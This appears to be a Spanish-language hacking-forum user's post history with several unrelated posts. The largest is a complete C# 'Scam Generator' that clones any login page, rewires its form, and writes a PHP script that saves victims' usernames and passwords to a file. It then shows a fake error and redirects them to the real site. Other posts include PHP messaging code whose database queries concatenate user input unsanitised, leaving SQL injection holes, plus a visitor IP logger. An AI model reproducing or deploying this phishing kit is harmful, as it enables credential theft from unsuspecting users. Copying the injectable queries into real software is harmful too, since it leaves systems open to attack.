felicidades al ganador, podrían poner la solución al reto? intenté varias cosas y no lo pude solucionar.
(Me refiero al primero), el segundo era mas que obvio jaja
Saludos!
(Me refiero al primero), el segundo era mas que obvio jaja
Saludos!
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúNo tienes permitido ver enlaces. Registrate o Entra a tu cuenta
El link de tu otro post para bajar el programa, ya no funciona. Una lastima
Enviado desde mi SNE-LX3 mediante Tapatalk
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.IO;
using System.Diagnostics;
using System.Text.RegularExpressions;
namespace ConsoleApplication3
{
class Program
{
static void Main()
{
intro();
startApp();
}
private static string startApp()
{
Console.Title = "Scam Generator by HckDrk V. 0.1";
string url = getUrl();
string codigo = getCodigo(url);
saveFile(CodeReplacement(codigo), url);
return Reset();
}
private static string getUrl()
{
Console.Write("Enter a URL: ");
string url = Console.ReadLine();
Uri uriResult;
if (Uri.TryCreate(url, UriKind.Absolute, out uriResult) && (uriResult.Scheme == Uri.UriSchemeHttp || uriResult.Scheme == Uri.UriSchemeHttps))
{
return url;
}
else
{
Console.WriteLine("Error: The url is invalid");
return getUrl();
}
}
private static String getCodigo(String url)
{
try
{
HttpWebRequest myHttpWebRequest = (HttpWebRequest)WebRequest.Create(url);
HttpWebResponse miPeticionWeb = (HttpWebResponse)myHttpWebRequest.GetResponse();
Stream datosRecibidos = miPeticionWeb.GetResponseStream();
Encoding codificacion = System.Text.Encoding.GetEncoding("utf-8");
StreamReader readStream = new StreamReader(datosRecibidos, codificacion);
return (readStream.ReadToEnd());
}
catch (Exception e)
{
Console.WriteLine("Exception: {0}", e.Message);
return startApp();
}
}
private static string saveFile(string contenido, string url)
{
try
{
Console.Write("Enter the name of the file: ");
string archivo = Console.ReadLine();
if (archivo.Trim() == "")
{
Console.WriteLine("Error: the name can not be empty");
return saveFile(contenido,url);
}
string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory);
string path_file = desktopPath + "\\hckdrk_download\\";
string path_file_final = path_file + archivo + "\\";
verifyFolder(path_file);
Directory.CreateDirectory(path_file_final);
string ruta_archivo = path_file_final + archivo + ".html";
StreamWriter escrito = File.CreateText(ruta_archivo);
escrito.Write(contenido);
escrito.Flush();
escrito.Close();
string ruta_archivo_php = path_file_final + "login.php";
StreamWriter php = File.CreateText(ruta_archivo_php);
php.Write(SetPhp(url));
php.Flush();
php.Close();
Console.WriteLine("File {0}.html saved correctly", archivo);
Console.WriteLine("File login.php saved correctly");
openFile(path_file_final);
return "";
}
catch (Exception e)
{
Console.WriteLine("Exception: {0}", e.Message);
return "";
}
}
private static string openFile(string ruta_archivo)
{
Console.Write("Do you want to open the container folder? [Y/n]: ");
string abrir = Console.ReadLine();
if (abrir == "Y")
{
Process.Start(ruta_archivo);
return "";
}
else if (abrir == "n")
{
return "";
}
else
{
Console.WriteLine("Error: Option not valid!");
return openFile(ruta_archivo);
}
}
private static string verifyFolder(string dir)
{
if (!Directory.Exists(dir))
{
Console.Write("does not exist directory \"hckdrk_download\", Do you want to create it? [Y/n]: ");
string crear_dir = Console.ReadLine();
if (crear_dir == "Y")
{
Directory.CreateDirectory(dir);
Console.WriteLine("The directory was created correctly \"hckdrk_download\" at {0}.", Directory.GetCreationTime(dir));
return "";
}
else if (crear_dir == "n")
{
return startApp();
}
else
{
Console.WriteLine("Error: Option not valid!");
return verifyFolder(dir);
}
}
else
{
return "";
}
}
private static string Reset()
{
Console.WriteLine("");
Console.Write("You want to download another page[Y/n]: ");
string nuevo = Console.ReadLine();
if (nuevo == "Y")
{
return startApp();
}
else if (nuevo == "n")
{
Console.WriteLine("Thank you. Press any key to exit.");
Console.WriteLine("So long.");
Console.ReadKey();
return "";
}
else
{
Console.WriteLine("Error: Option not valid!");
return Reset();
}
}
private static string CodeReplacement(string codigo)
{
string pattern = "<input type=\"text\".*? name=\"(.*?)\" .*?>";
string patternTwo = "<input type=\"password\".*? name=\"(.*?)\" .*?>";
string patternThree = "<input type=\"email\".*? name=\"(.*?)\" .*?>";
string patternForm = "<form .*?>";
//string pattern = "name=\"(.*?)\"";
string replacement = "hckdrk_user";
string replacementTwo = "hckdrk_pass";
string replacementForm = "<form method=\"post\" action=\"login.php\">";
//return resultFinal;
MatchCollection matches = Regex.Matches(codigo.Replace("\r\n", ""), pattern);
MatchCollection matchesTwo = Regex.Matches(codigo.Replace("\r\n", ""), patternTwo);
MatchCollection matchesThree = Regex.Matches(codigo.Replace("\r\n", ""), patternThree);
int numberMatches = Regex.Matches(codigo.Replace("\r\n", ""), pattern).Count;
int numberOfMatchesTwo = Regex.Matches(codigo.Replace("\r\n", ""), patternTwo).Count;
int numberOfMatchesThree = Regex.Matches(codigo.Replace("\r\n", ""), patternThree).Count;
string codigoino = codigo;
if (numberMatches <= 0)
{
Console.WriteLine("operation aborted, input text was not found");
return startApp();
}
if (numberOfMatchesTwo <= 0)
{
Console.WriteLine("operation aborted, input password was not found");
return startApp();
}
foreach (Match item in matches)
{
//for (int i=0;i<item.Groups.Count;i++) {
//}
codigoino = codigoino.Replace("name=\"" + item.Groups[1].Value + "\"", "name=\"" + replacement + "\"");
Console.WriteLine("Set value input text: \"{0}\" to \"{1}\"", item.Groups[1].Value, replacement);
}
string codigodoso = codigoino;
foreach (Match itemTwo in matchesTwo)
{
//for (int i=0;i<item.Groups.Count;i++) {
//}
codigodoso = codigodoso.Replace("name=\"" + itemTwo.Groups[1].Value + "\"", "name=\"" + replacementTwo + "\"");
Console.WriteLine("Set value input password: \"{0}\" to \"{1}\"", itemTwo.Groups[1].Value, replacementTwo);
}
string codigothree = codigodoso;
foreach (Match itemThree in matchesThree)
{
//for (int i=0;i<item.Groups.Count;i++) {
//}
codigothree = codigothree.Replace("name=\"" + itemThree.Groups[1].Value + "\"", "name=\"" + replacement + "\"");
Console.WriteLine("Set value input email: \"{0}\" to \"{1}\"", itemThree.Groups[1].Value, replacement);
}
Regex rgx = new Regex(patternForm);
string result = rgx.Replace(codigothree, replacementForm);
Console.WriteLine("Change <form> to {0}", replacementForm);
return result;
}
private static string SetPhp(string url)
{
string codigo = @"<?php
error_reporting(0);
$user=$_POST['hckdrk_user'];
$pass=$_POST['hckdrk_pass'];
@file_put_contents('passwords.txt', 'user: '.$user . ' | Password: '.$pass.PHP_EOL, FILE_APPEND);
echo '<h1>Internal Server Error</h1>Please contact [email protected]';";
codigo = codigo + "header('Refresh: 5; url = " + url + "', true, 303);";
codigo = codigo + "?>";
return codigo;
}
private static void intro()
{
Console.WriteLine("========================================");
Console.WriteLine("== Welcome to Scams Generator ==");
Console.WriteLine("== Powered by HckDrk ==");
Console.WriteLine("== Web Site: http://hckdrk.mx ==");
Console.WriteLine("== Web Site: http://underc0de.org ==");
Console.WriteLine("========================================");
Console.WriteLine(Environment.NewLine);
}
}
}
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Cosa curiosa que no se si los otros usuarios que resolvieron el "reto" detectaron... pues al capturar la info que se envia en post.... me encontre con esto....
Sera parte del reto...? -_-
No tienes permitido ver enlaces. Registrate o Entra a tu cuentaNo tienes permitido ver enlaces. Registrate o Entra a tu cuentaEs del tipo "fatal error: allowed memory size of 268435456 bytes exhausted (tried to allocate 33583919 bytes)..."
podria pasar una foto de el error?
<?
file_put_contents('ips.txt', $_SERVER['REMOTE_ADDR'].' ingresado el: '.date("d/m/y").PHP_EOL, FILE_APPEND);
?>
<?
function conecta(){
$mysqli = new mysqli("servidor", "usuario", "password", "basededatos"); //conexión ala base de datos por medio de misqli poo
if($mysqli->connect_errno > 0){ //si retorna algun error
return("Imposible conectarse con la base de datos [" . $mysqli->connect_error . "]"); //se muestra el error
}else{ //si no retorna el error
$mysqli->query("SET NAMES 'utf8'"); //codifica las consultas a utf-8
return $mysqli; //retorna la conexión a la base de datos mysql
}
}
if($_POST['enviar']=='ok'){ //si se envía el mensaje
$nombre=$_POST['nombre'];
$mensaje=$_POST['mensaje'];
$mysqli=conecta(); //conecta la base de datos
$mysqli->query("INSERT INTO mensajes (id_propietario,nombre_quien_envia,mensaje,status_activo) VALUES ('1','$nombre','$mensaje','1');"); //inserta en la base de datos
}
?>
<form method="post" action="">
nombre: <input type="text" name="nombre"><br>
mensaje: <input type="text" name="mensaje"><br>
<input type="submit" value="Enviar"><br>
<input type="hidden" name="enviar" value="ok">
</form>
<?php
header('Content-Type: application/json'); //mediante header establece que es un archivo json
$id=$_REQUEST['id_propietario']; //obtiene la variable id por post o get
function conecta(){
$mysqli = new mysqli("servidor", "usuario", "password", "basededatos"); //conexión ala base de datos por medio de misqli poo
if($mysqli->connect_errno > 0){ //si retorna algun error
return("Imposible conectarse con la base de datos [" . $mysqli->connect_error . "]"); //se muestra el error
}else{ //si no retorna el error
$mysqli->query("SET NAMES 'utf8'"); //codifica las consultas a utf-8
return $mysqli; //retorna la conexión a la base de datos mysql
}
}
$mysqli = conecta(); //conecta la base de datos
$verifica = $mysqli->query("SELECT * FROM mensajes WHERE id_propietario='$id' AND leido='0' AND status_activo='1'"); //consulta los mensajes no leidos=0 y activos=1 del propietario
$num_msg = $verifica->num_rows; //verifica el numero de mensajes
if($num_msg > 0){ // si el numero de mensajes es mayor a 0
while ($mensaje = mysqli_fetch_array($verifica, MYSQLI_ASSOC)) { //genera el while para recorrer todos los mensajes
$msg[]=array('num_msg'=>$num_msg,'texto'=>$mensaje['mensaje'],'emisor'=> $mensaje['nombre_quien_envia']); //los almacena en un arreglo de arreglos
$mysqli->query("UPDATE mensajes SET leido='1' WHERE id = '".$mensaje['id']."'"); //hace el update de mensaje leido
}
}else{ //si no hay información retorna un array vacio que posteriormente se convertira a un json nulo
$msg[]=array('num_msg'=>$num_msg,'texto'=>$mensaje['mensaje'],'emisor'=> $mensaje['nombre_quien_envia']);
}
echo json_encode($msg,JSON_PRETTY_PRINT); //lo codifica a json, JSON_PRETTY_PRINT lo hace agradable a la vista
?>
<script src="jquery-1.11.1.js"></script> <!-- incluye jquery para usar ajax -->
<script src="push.min.js"></script> <!-- incluye la libreria push -->
<script>
function ver(){
$.ajax({ //se inicia la petición ajax al archivo que consulta los mensajes en la base de datos
type : 'GET', //consulta mediante get
url : 'consulta_msg.php', //url del archivo a consultar
data : {'id_propietario':'1'}, //consulta el id del propietario
dataType : 'json', //se espera retornar un json
success : function(data) { //si fue satisfactorio la petición ajax retorna la variable data con la información
$.each(data, function(i, item) { //recorremos el json para obtener los mensajes
var texto = item.texto;
var emisor = item.emisor;
var num_msg = item.num_msg;
if(num_msg>0){
Push.create(emisor, { //llamamos al objeto push escrito en jquery
body: texto, //ingresamos el texto recuperado de la petición ajax
timeout: 4000, //con este valor indica que despues de 4000 ms se cierre automaticamente el mensaje
onClick: function () { //al hacer click en la notificación se cerrará
window.focus();
this.close();
}
});
}
});
},
});
}
setInterval(ver,10000); //cada 10000 ms se ejecuta la función ver para obtener los mensajes recibidos
//recordar que cada 1000 ms es lo mismo que 1 segundo
</script>
CREATE TABLE `mensajes` (
`id` int(11) NOT NULL,
`id_propietario` int(11) NOT NULL,
`nombre_quien_envia` varchar(255) COLLATE utf8_spanish_ci NOT NULL,
`mensaje` text COLLATE utf8_spanish_ci NOT NULL,
`leido` int(11) NOT NULL,
`status_activo` int(11) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_spanish_ci;
ALTER TABLE `mensajes`
ADD PRIMARY KEY (`id`);
ALTER TABLE `mensajes`
MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;COMMIT;
<?php
include('quisiste_decir.php');
$correo = (trim($_REQUEST['correo'])=='') ? "[email protected]" : strip_tags($_REQUEST['correo']);
$hosts=array();
$error='no';
if(filter_var($correo,FILTER_VALIDATE_EMAIL)){
$sintaxis = 'Correcta';
$dominio=explode("@",$correo);
if(checkdnsrr($dominio[1])){
$dominio_existe = 'existe';
if(getmxrr($dominio[1],$hosts)){
$mensaje = 'el correo es valido, existe el dominio, y tiene registros MX. Muy probablemente existe el correo';
$registro_mx = 'existe';
}else{
$mensaje = 'Existe el dominio, pero no tiene registros MX, por lo cual no creemos que exista el correo';
$registro_mx = 'No existe';
$error = 'si';
}
}else{
$quisiste_decir = quisiste_decir($correo);
$mensaje = 'No existe el dominio';
$dominio_existe = 'No existe';
$error = 'si';
}
}else{
$quisiste_decir = quisiste_decir($correo);
$mensaje = 'el correo no tiene la sintaxis correcta';
$sintaxis= 'Incorrecta';
$error = 'si';
}
header('Content-Type: application/json');
$json = array('error' => $error, 'quisiste_decir' => $quisiste_decir, "usuario" => $dominio[0], 'dominio' => $dominio[1], 'sisntaxis' => $sintaxis, 'dominio_existe' => $dominio_existe, 'registro_mx' => $registro_mx, 'valor_registro_mx' => $hosts, 'mensaje' => $mensaje);
echo json_encode($json,JSON_PRETTY_PRINT);
?>
<?php
function buscar_hotmail($correo){
$find_hotmail = array('jot', 'holma', 'hotmil','hotmai', 'hotmaiI');
$dominio = explode("@",$correo);
foreach($find_hotmail as $hotmail){
if(strpos($dominio[1], $hotmail) !== false){
$retorno = $dominio[0].'@hotmail.com';
break;
}
}
if($retorno!=""){
return $retorno;
}else{
return false;
}
}
function buscar_gmail($correo){
$find_gmail = array('gmai', 'gmail', 'mail','gmal', 'gmail.co');
$dominio = explode("@",$correo);
foreach($find_gmail as $gmail){
if(strpos($dominio[1], $gmail) !== false){
$retorno = $dominio[0].'@gmail.com';
break;
}
}
if($retorno!=""){
return $retorno;
}else{
return false;
}
}
function buscar_yahoo($correo){
$find_yahoo = array('yajoo', 'yaho', 'yhoo','ahoo', 'yahoo.co');
$dominio = explode("@",$correo);
foreach($find_yahoo as $yahoo){
if(strpos($dominio[1], $yahoo) !== false){
$retorno = $dominio[0].'@yahoo.com';
break;
}
}
if($retorno!=""){
return $retorno;
}else{
return false;
}
}
function quisiste_decir($correo){
if(buscar_hotmail($correo)){
return buscar_hotmail($correo);
}else{
if(buscar_gmail($correo)){
return buscar_gmail($correo);
}else{
if(buscar_yahoo($correo)){
return buscar_yahoo($correo);
}else{
return false;
}
}
}
}
?>
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Mi primer reto XSS!
No tienes permitido ver enlaces. Registrate o Entra a tu cuentaClaro, te dejo la tuya HckDrk, saludos.